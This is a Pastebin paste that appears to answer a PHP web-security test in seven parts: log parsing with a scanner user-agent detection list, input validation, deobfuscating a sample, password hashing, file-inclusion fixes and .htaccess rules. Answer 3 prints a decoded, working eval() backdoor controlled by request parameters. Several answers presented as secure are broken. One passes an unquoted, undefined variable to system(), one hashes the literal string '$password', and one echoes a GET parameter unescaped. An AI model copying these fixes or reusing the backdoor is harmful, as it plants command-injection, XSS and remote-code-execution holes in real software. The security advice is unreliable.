Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 1 - ANSWER
- It was interesting to code something like this.
- I still would like optimize the code so it can be lighter and more scalable.
- But as asked, very simple and raw, but it does the job.
- # ------------------------------------------------------------
- class logAnalyzer
- {
- const PARSER_REGEX = '/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/';
- private $_handle = null;
- function __construct($path)
- {
- try
- {
- if (!is_file($path))
- {
- throw new Exception('Invalid path');
- }
- $this->_handle = fopen($path, 'r');
- }
- catch (Exception $e)
- {
- throw $e;
- }
- }
- public function parse()
- {
- $stats = [
- 'total' => 0,
- 'paths' => [],
- 'status' => [
- 'success' => 0,
- 'error' => 0
- ],
- 'user-agents' => [],
- 'referer' => [],
- 'suspicious' => 0
- ];
- try
- {
- if ($this->_handle)
- {
- while (!feof($this->_handle))
- {
- while (($buffer = fgets($this->_handle, 4096)) !== false)
- {
- preg_match(self::PARSER_REGEX ,$buffer, $matches);
- $path = $matches[8];
- $status = (int) $matches[10];
- $userAgent = $matches[13];
- $referer = $matches[12];
- if ($status >= 100 && $status < 400)
- {
- $stats['status']['success']++;
- }
- else
- {
- $stats['status']['error']++;
- }
- if(preg_match('(sqlmap|nikto|acunetix|w3af|arachni|skipfish|ratproxy|x5s)', strtolower($userAgent)))
- {
- $stats['suspicious']++;
- }
- $stats['total']++;
- $stats['paths'][$path]++;
- $stats['user-agents'][$userAgent]++;
- $stats['referer'][$referer]++;
- }
- }
- fclose($this->_handle);
- }
- }
- catch (Exception $e)
- {
- throw new Exception("Can't parse log file.");
- }
- return $stats;
- }
- }
- $logs = new logAnalyzer("access.log");
- $stats = $logs->parse();
- asort($stats['paths']);
- $most_path = array_pop(array_keys($stats['paths']));
- $most_path_entries = array_pop(array_values($stats['paths']));
- asort($stats['user-agents']);
- $most_user = array_pop(array_keys($stats['user-agents']));
- $most_user_entries = array_pop(array_values($stats['user-agents']));
- asort($stats['referer']);
- $most_referer = array_pop(array_keys($stats['referer']));
- $most_referer_entries = array_pop(array_values($stats['referer']));
- function get_percentage($total, $number)
- {
- if ( $total > 0 ) {
- return round($number / ($total / 100),2);
- } else {
- return 0;
- }
- }
- print "Total entries: " . $stats['total'];
- print "<br><br>";
- print "The most visited file: $most_path [$most_path_entries entries]";
- print "<br><br>";
- print "Errors: " . $stats['status']['error'];
- print "<br><br>";
- print "Success: " . $stats['status']['success'];
- print "<br><br>";
- print "The most used user-agent file: $most_user [$most_user_entries entries] [" . get_percentage($stats['total'],$most_user_entries) . "%]";
- print "<br><br>";
- print "The most commom referer: $most_referer [$most_referer_entries entries] [" . get_percentage($stats['total'],$most_referer_entries) . "%]";
- print "<br><br>";
- print "Suspicious entries: " . $stats['suspicious'];
- # ------------------------------------------------------------
- 2 - ANSWER
- The HTMLSPECIALCHARS is a safe-way to display text, but is not effective against injections.
- I would write the code like this:
- # ------------------------------------------------------------
- if ($_SERVER["REQUEST_METHOD"] == "POST")
- {
- $email = filter_var(trim($_POST["email"]), FILTER_SANITIZE_EMAIL);
- if (!filter_var($email, FILTER_VALIDATE_EMAIL))
- {
- http_response_code(400);
- echo "Por favor, preencha o campo corretamente.";
- exit;
- }
- // Run email command to notify user of account creation
- system("/opt/app/accounts/notifynew.sh $email_input");
- }
- # ------------------------------------------------------------
- This way, I can check which method is being used to pass my var $email(in this case, POST), then, I can SANITIZE the email.
- Right on the way, I check if the e-mail is being typed or passed correctly using the FILTER_VALIDATE_EMAIL.
- If something is not right, I set the HTTP_RESPONSE_CODE, that will be helpful on a case like question #1, where I can compare the response with the file, identifying a possible DDos attack.
- 3 - ANSWER
- The code organized:
- # ------------------------------------------------------------
- $IPwXsveV='p'. 'reg_replac'.'e';
- $ivAqSMVn="rbjfxy6ilF1hhrbHIo3"^"\x5d\x1b\x22\x02\x283c9\x2b3y\x0c\x1b\x1a\x2e\x10\x04\x40V";
- $pattern = "rbjfxy6ilF1hhrbHIo3"^"\x5d\x1b\x22\x02\x283c9\x2b3y\x0c\x1b\x1a\x2e\x10\x04\x40V";
- $replacement = "P2aIsq04NK9Ymr8IIz6AuNiV8WclRl6hcVpKCoEPyDnbulj3ae4Lrchpy0RGkMnDhTNk8S1wVeNGFx0fR4r0VOpKN7QyI42qMFQKXG8skLyp9xLQr4QCH6MV2cJAWAqjF8udDrLo4AU3ygIfZZhgUu3MMBMjC3IHz3l4kwhdx3VmYeHx4pU"^"5D\x00\x25\x5bSYRf\x22J\x2a\x08\x06\x10\x15\x15\x5ei\x13\x30\x1f\x3c\x13k\x038K1\x04\x115JvVmcG\x284Ll2\x3eQ38v\x30\x30q\x1f\x268O\x13\x11\x17\x0fnKpSdO\x60\x2dX\x0a7\x05N2Wws\x7fOQ\x044V\x40UezAy\x2d\x072\x1a\x2d\x02\x0b\x14\x7eaxk\x7ea\x18\x1a\x18\x3f\x1c\x04\x11\x24\x10u\x2df\x14\x12\x1ds\x1e\x02iD\x3a\x29\x27\x1e\x12\x05\x22\x5dR9m\x5bl\x14\x14\x24\x23R\x15O\x15\x3a\x7e\x05\x3a\x22\x04\x20v\x1e\x19\x19j\x1a\x2bC\x16\x2b\x15W\x09\x136\x5eSD\x1dK\x3f\x19qLsXIR\x7c";
- $subject = "yHdPJUPGuHdshLXM";
- var_dump(preg_replace($pattern, $replacement, "yHdPJUPGuHdshLXM"));
- # ------------------------------------------------------------
- The decoded version:
- # ------------------------------------------------------------
- <?php eval("if(isset(\$_REQUEST['ch']) && (md5(\$_REQUEST['ch']) == '4c32d49d29497abfb2e3512c0ccd69e3') && isset(\$_REQUEST['php_code'])) { eval(\$_REQUEST['php_code']); exit(); }");
- # ------------------------------------------------------------
- Well, its a backdoor code.
- As encode source codes are not very commom, maybe it's a good idea creating a regex to search for "pieces" of known backdoor and shell scripts, or any other malicious scripts.
- Even creating a DB with variations of these codes and using it to filter the matches, so these suspicious files can be human analyzed one by one.
- 4 - ANSWER
- I've been hashing passwords using the password_hash() with BCRYPT as it's a native fucntion now.
- I personally use a lightweight CRUD to construct my inserts, the PDO PREPRARE will make sure no injections are being passed.
- I'll assume the correct treatment and validations already been occurred.
- Since password_hash() is native fucntion, it's simple and lighweight to use like:
- # ------------------------------------------------------------
- $password = $_POST['pass'];
- $newPassword = password_hash('$password', PASSWORD_BCRYPT);
- $stmt = $db->prepare('INSERT INTO users (user, pass) VALUES (:user, :pass)');
- $stmt->execute(array(':name' => $name,':pass' => $newPassword));
- # ------------------------------------------------------------
- I wrote the PDO Prepare statement just to clarify, but in my codes, I would be calling the instance from CRUD.
- 5 - ANSWER
- First of all, I would restore the working version.
- I would check the logs and the changes that have being made to cross the informations and see what could cause the overload.
- I would check for server cache, connections, requests, and everything.
- I like to work with cicles and mirrors, I mean, I create a similar enviroment on my machine or another webserver, the I perform change by change on the code.
- This way I can prevent major erros on production enviroment, and this step by step coding allow me to identify a problem in a considered short time.
- 6 - ANSWER
- The script is not safe. Since it has no validation or rule, it allows a GET parameter to navigate through files and folders, exposing any content, includind passwords, connectiosn, DBs, etc.
- It can be done safely from many ways, but I will demonstrate one of them.
- I'm using an array for files that can be called.
- If is not on that list, index.php will be inserted.
- # ------------------------------------------------------------
- $allowed = array(
- 'index',
- 'file-001',
- 'file-002',
- 'file-003'
- );
- if (in_array(basename($_GET['page']), $allowed))
- {
- echo '<title>'. $_GET['page'] .'</title>';
- $content = file_get_contents('/site/content/'. $_GET['page'] . '.php');
- echo $content;
- }
- else
- {
- $_GET['page'] = "index";
- echo '<title>Welcome to site </title>';
- $content = file_get_contents('/site/content/'. $_GET['page'] . '.php');
- echo $content;
- }
- # ------------------------------------------------------------
- 7 - ANSWER
- I would use a condition on .htaccess
- # ------------------------------------------------------------
- RewriteEngine On
- RewriteRule ^(admin/(scripts/|vuln|unsafe)|(lib/|blocked)\.php) - [F,L,NC]
- # ------------------------------------------------------------
- If I have to handle thousands of files, first, I would analyze the situation.
- If there are 2.000 files to be blocked, and just index to be allowed, for exemple, we can block all PHP and allow only the index.
- Something like:
- # ------------------------------------------------------------
- <Files *.php>
- Order Deny,Allow
- Deny From all
- Allow From 127.0.0.1
- </Files>
- <Files index.php>
- Order Allow,Deny
- Allow From all
- </Files>
- # ------------------------------------------------------------
- If is 2.000 allowed files and 3.000 blocked files, with different folders and file name, picturing a real mess, we can work with authorization via DB.
- We can create a DB with paths and each page will have a check script verifying if it's blocked or allowed.
- We can deal with this of many ways, it really depends on the complete scenario.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement